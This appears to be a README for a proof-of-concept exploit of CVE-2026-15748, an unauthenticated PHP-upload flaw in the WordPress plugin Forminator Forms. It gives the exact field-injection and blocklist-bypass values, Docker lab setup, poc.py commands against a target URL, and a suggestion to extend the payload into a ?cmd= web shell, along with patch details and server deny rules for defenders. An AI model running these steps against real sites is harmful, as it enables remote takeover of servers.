
Unauthenticated RCE in WordPress Forminator Forms <= 1.56.1 (CVSS 9.8)
Unauthenticated Arbitrary File Upload via Forged Upload Field Configuration
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-15748 |
| CVSS | 9.8 (Critical) |
| CWE | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| Affected | Forminator Forms <= 1.56.1 |
| Fixed in | 1.56.2 |
| Auth required | None |
| Discovered by | daroo |
Forminator Forms for WordPress (600,000+ active installations) contains an unauthenticated arbitrary file upload vulnerability that leads to Remote Code Execution (RCE).
The vulnerability chains two flaws:
return key injection (front-action.php): The set_field_data() function checks if $field_data['return'] is truthy before unsetting it. An attacker sends nested POST data for a Select field with return=1, field_type=upload, and a crafted field_array. The entry is added directly to field_data_array without validation, and process_uploads() processes it as a legitimate upload field.
Blocklist bypass (upload.php + helper-fields.php): The additional-type field property accepts ph(p)|text/x-php. get_additional_file_mime_types() splits on | to produce ['ph(p)' => 'text/x-php']. The extension blocklist uses in_array('ph(p)', $filters, true) which doesn't match 'php'. WordPress's wp_check_filetype() uses ph(p) as a regex pattern that does match .php. The MIME type text/x-php is injected into WordPress's upload_mimes filter, satisfying wp_check_filetype_and_ext().
Patches in 1.56.2:
front-action.php: Adds unset($field_data['return']) before the truthy checkhelper-fields.php: Normalizes blocklist keys with preg_replace('/[^a-z0-9]/', '', $alternative) so ph(p) becomes php and gets blocked1. POST nested array data for Select field with return=1
|
2. set_field_data() skips validation via early-return path
|
3. Forged entry injected into field_data_array with field_type=upload
|
4. process_uploads() processes it as a legitimate upload field
|
5. additional-type=ph(p)|text/x-php bypasses blocklist + MIME check
|
6. move_uploaded_file() saves .php to uploads directory
|
7. Attacker accesses uploaded file --> RCE
.htaccess is ignored entirely).htaccess is ignored).htaccess was removed or overwrittenStart the Docker lab:
git clone https://github.com/str1ke2pwn/CVE-2026-15748.git
cd CVE-2026-15748
docker-compose up -d

Open http://localhost:8080 and complete the WordPress setup.

Go to Plugins > Add New > Upload Plugin and install Forminator v1.56.0.
Note: If you get an error like "The link you followed has expired" when uploading the plugin, the PHP upload limit is too low. Fix it with:
docker-compose exec wordpress bash -c 'echo "upload_max_filesize=64M post_max_size=64M" > /usr/local/etc/php/conf.d/uploads.ini' docker-compose restart wordpressThen try uploading the plugin again.

Go to Forminator > Forms > Create and add:
Save the form, then create a new Page with the shortcode [forminator_form id="XX"] and publish it.


Forminator places a .htaccess in its uploads directory that blocks PHP execution. On nginx servers (which ignore .htaccess), this protection does not exist. To simulate this in our Apache-based lab:
docker-compose exec wordpress bash -c 'cat > /etc/apache2/conf-enabled/forminator-lab.conf << "CONF"
<Directory /var/www/html/wp-content/uploads/forminator>
AllowOverride None
Options +Indexes
DirectoryIndex disabled
</Directory>
CONF
apache2ctl graceful'

pip install -r requirements.txt
python poc.py --url http://localhost:8080 --page-url http://localhost:8080/?page_id=YOUR_PAGE_ID

Open the URL from the PoC output in a browser. The page shows CVE-2026-15748-PoC-Verified followed by phpinfo() output, confirming PHP code execution on the server.

To demonstrate full RCE impact, modify SAFE_PAYLOAD in poc.py to include command execution, re-run, and access the URL with ?cmd=whoami:


The uploaded PHP file can be found on the server's filesystem:
docker-compose exec wordpress find /var/www/html/wp-content/uploads -name '*.php' | grep poc-test

pip install requests
# Auto-detect forms and exploit
python poc.py --url http://localhost:8080
# Specify form page directly
python poc.py --url http://localhost:8080 --page-url http://localhost:8080/contact/
# Specify form ID
python poc.py --url http://localhost:8080 --form-id 1234
# Verify only (check if file already uploaded)
python poc.py --url http://localhost:8080 --verify-only
# Cleanup after test
python poc.py --url http://localhost:8080 --cleanup
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
wp-content/uploads/forminator/ for unexpected .php filesTo stop and remove the lab environment:
docker-compose down -v